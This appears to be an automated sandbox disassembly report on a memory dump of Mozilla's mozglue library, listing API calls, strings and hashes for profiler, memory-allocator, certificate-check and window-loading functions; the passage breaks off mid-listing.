getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C46576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C465796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4657CA

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4654A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C465B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C46584E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C465D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C465C56
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C465BBE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4656E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C465D01
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4657C5
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C465CF9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4657AE
MOZ_BASE_PROFILER_HELP, xrefs: 6C465511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C465AC9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C465724
GeckoMain, xrefs: 6C465554, 6C4655D5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C465D24
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C46548D
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4654B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C465D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C465717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C465749
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C465766
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C465791
[I %d/%d] profiler_init, xrefs: 6C46564E
MOZ_PROFILER_STARTUP, xrefs: 6C4655E1

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 472872d830e22d1345be7f7614ac6370351fed8b242baf28758b50a940630914
Instruction ID: 4d36e9bfb2a0299a18bff601612a0e6a816fa27a8499ccf4ca7294128d34e4b3
Opcode Fuzzy Hash: 472872d830e22d1345be7f7614ac6370351fed8b242baf28758b50a940630914
Instruction Fuzzy Hash: 22220270A043409FEB01FF668858F5ABBB5AF4634DF04462DE84A87F46EB31E444CA93

Function 6C49B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C49B845
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8,?,?,00000000), ref: 6C49B852
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49B884
InitializeConditionVariable.KERNEL32(?), ref: 6C49B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C49B9FD
GetCurrentThreadId.KERNEL32 ref: 6C49BA05
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8,?,?,00000000), ref: 6C49BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C49BA27
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49BA4B
free.MOZGLUE(?), ref: 6C49C9C7
free.MOZGLUE(?), ref: 6C49C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C49C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C49C878

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 2c3c82222fc2a0f9dcbe17c42983aea569c3e31cef3b97f1aae6497f3db6aeda
Instruction ID: 555a7c44d766f5468f058679df575e479636efcaa592b41af74661247d6916f3
Opcode Fuzzy Hash: 2c3c82222fc2a0f9dcbe17c42983aea569c3e31cef3b97f1aae6497f3db6aeda
Instruction Fuzzy Hash: 17A28D71A083908FD725DF28C490F9BBBE5BFC9314F154A2DE89997350DB70A905CB92

Function 6C466C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C466CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C466D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C466D26

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C466D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C466D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C466D73
free.MOZGLUE(00000000), ref: 6C466D80
CertGetNameStringW.CRYPT32 ref: 6C466DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C466DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C466DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C466DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C466E10
CryptMsgClose.CRYPT32(00000000), ref: 6C466E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C466E34
CreateFileW.KERNEL32 ref: 6C466EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C466F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C466F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C46709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C467103
free.MOZGLUE(00000000), ref: 6C467153
CloseHandle.KERNEL32(?), ref: 6C467176
__Init_thread_footer.LIBCMT ref: 6C467209
__Init_thread_footer.LIBCMT ref: 6C46723A
__Init_thread_footer.LIBCMT ref: 6C46726B
__Init_thread_footer.LIBCMT ref: 6C46729C
__Init_thread_footer.LIBCMT ref: 6C4672DC
__Init_thread_footer.LIBCMT ref: 6C46730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4673C2
VerSetConditionMask.NTDLL ref: 6C4673F3
VerSetConditionMask.NTDLL ref: 6C4673FF
VerSetConditionMask.NTDLL ref: 6C467406
VerSetConditionMask.NTDLL ref: 6C46740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C46741A
moz_xmalloc.MOZGLUE(?), ref: 6C46755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C467568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C467585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C467598
free.MOZGLUE(00000000), ref: 6C4675AC

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

Strings

(, xrefs: 6C46768A
wintrust.dll, xrefs: 6C4672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C4672C8
SHA256, xrefs: 6C466EC0

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 99c9d6e9a0b30ea1fd567da44d0df2b989b745c9ca5adb726bee966f378b7773
Instruction ID: b799e4398ba7ec1795907a789c29a5cbf181074f78e24ba04db964826edabf1b
Opcode Fuzzy Hash: 99c9d6e9a0b30ea1fd567da44d0df2b989b745c9ca5adb726bee966f378b7773
Instruction Fuzzy Hash: C852C3B1A052149BEB21EF25CC84FAA77B8EF45708F104199E909A7B40DB70BF85CF91

Function 6C486FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE7DC), ref: 6C487019
LeaveCriticalSection.KERNEL32(6C4DE7DC), ref: 6C487061
EnterCriticalSection.KERNEL32(?), ref: 6C4871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C48721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C48723E
EnterCriticalSection.KERNEL32(?), ref: 6C48726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C4872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C48733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C4873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C48961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C489622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C489642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C48964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4896DB
AcquireSRWLockExclusive.KERNEL32(6C4DE804), ref: 6C489747
GetSystemInfo.KERNEL32(?), ref: 6C489792
__Init_thread_footer.LIBCMT ref: 6C4897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C4DE810,00000040), ref: 6C4897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE7B8,00001388), ref: 6C489838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE744,00001388), ref: 6C48984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE784,00001388), ref: 6C489874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE7DC,00001388), ref: 6C489895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4899BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C489BF4
Compile-time page size does not divide the runtime one., xrefs: 6C489B38
<jemalloc>, xrefs: 6C489B33, 6C489BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4899A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C489933, 6C489A33, 6C489A4E
MALLOC_OPTIONS, xrefs: 6C4897CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C489993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4899D2
MOZ_CRASH(), xrefs: 6C489B42

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 6e77ba53348d65b4c4404bbf5b23681b285f0cadb83ebc4e7c13c3ebac17225c
Instruction ID: ad42e1ec5d03e0d42b91e1de87c31443c08842ecf710eae668d5d8ab4e3d7f1b
Opcode Fuzzy Hash: 6e77ba53348d65b4c4404bbf5b23681b285f0cadb83ebc4e7c13c3ebac17225c
Instruction Fuzzy Hash: 2B537E71A0A7018FD704CF28C590E15FBE1BF8A328F29C66DE9699B791D771E841CB81

Function 6C490DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C490F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C490F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C490FB7
EnterCriticalSection.KERNEL32(?), ref: 6C490FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C491031
LeaveCriticalSection.KERNEL32(?), ref: 6C4910D0
EnterCriticalSection.KERNEL32(?), ref: 6C49117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C491C39
EnterCriticalSection.KERNEL32(6C4DE744), ref: 6C493391
LeaveCriticalSection.KERNEL32(6C4DE744), ref: 6C4933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C493431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C493437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4937BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C493A02
Compile-time page size does not divide the runtime one., xrefs: 6C493946
<jemalloc>, xrefs: 6C493941, 6C4939F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4937A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C493559, 6C49382D, 6C493848
MALLOC_OPTIONS, xrefs: 6C4935FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C493793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4937D2
MOZ_CRASH(), xrefs: 6C493950

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: a1823dbdd26944a334b6905c8fce5ff7b00c08b6570d30cc4d09df9e0b124e99
Instruction ID: bd1397d09428a8b6115358af4e5c3a47540cba8e99aede689a76e3a84d7c51d8
Opcode Fuzzy Hash: a1823dbdd26944a334b6905c8fce5ff7b00c08b6570d30cc4d09df9e0b124e99
Instruction Fuzzy Hash: E5537A71A056218FD714CF28C580F15FBE1BF8A328F29C66DE8699B791D771E842CB81

Function 6C4B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C48E1A5), ref: 6C4B5606
LoadLibraryW.KERNEL32(gdi32,?,6C48E1A5), ref: 6C4B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C4B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C4B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C4B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C4B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C4B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C4B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C4B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C4B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C4B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C4B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C4B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C4B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C4B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C4B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C4B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C4B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C4B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C4B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C4B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C4B57FF

Strings

gdi32, xrefs: 6C4B560A
user32, xrefs: 6C4B5601
StretchDIBits, xrefs: 6C4B57CC
MonitorFromWindow, xrefs: 6C4B578D
FillRect, xrefs: 6C4B5729
GetDpiForWindow, xrefs: 6C4B5690
SetWindowPos, xrefs: 6C4B56F7
GetMonitorInfoW, xrefs: 6C4B57A2
ReleaseDC, xrefs: 6C4B5742
DeleteObject, xrefs: 6C4B57F9
GetThreadDpiAwarenessContext, xrefs: 6C4B562D
GetSystemMetricsForDpi, xrefs: 6C4B5677
ShowWindow, xrefs: 6C4B56DE
RegisterClassW, xrefs: 6C4B56AC
GetWindowDC, xrefs: 6C4B5710
AreDpiAwarenessContextsEqual, xrefs: 6C4B5637
CreateSolidBrush, xrefs: 6C4B57E4
SetWindowLongPtrW, xrefs: 6C4B57B7
EnableNonClientDpiScaling, xrefs: 6C4B5666
LoadCursorW, xrefs: 6C4B5774
LoadIconW, xrefs: 6C4B575B
CreateWindowExW, xrefs: 6C4B56C5

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 2785b88ac334fb17843ebb4b01b0f0a07d38d623a0999fd9e888dd0c3efbe0af
Instruction ID: 9505718fa0315274826047b46cc520baf90d3076eb97c595318e0a7266bf6069
Opcode Fuzzy Hash: 2785b88ac334fb17843ebb4b01b0f0a07d38d623a0999fd9e888dd0c3efbe0af
Instruction Fuzzy Hash: 7C5142747127439BEB00FF358D64E2A7AB8AB0A6567114925A911E3B52EFB4E810CF70

Function 6C4B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3EE2

Part of subcall function 6C4B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C4B61DD
Part of subcall function 6C4B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C4B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B4157

Part of subcall function 6C4B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C4B6250
Part of subcall function 6C4B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B4896
free.MOZGLUE ref: 6C4B489F

Strings

, xrefs: 6C4B4CD2

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 94557201c3e191c1e5d184677d5e8f5fbcfde9ac1af61159e52bc07338ecae07
Instruction ID: 47403c9b11c08fca5ca84cc85e3ca98794ec24c94ddd65c38c12e6d84500284d
Opcode Fuzzy Hash: 94557201c3e191c1e5d184677d5e8f5fbcfde9ac1af61159e52bc07338ecae07
Instruction Fuzzy Hash: 63F24D74908B808FC735DF28C084A9AFBF1FF89354F158A5ED99997721DB319886CB42

Function 6C49F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C49F09B

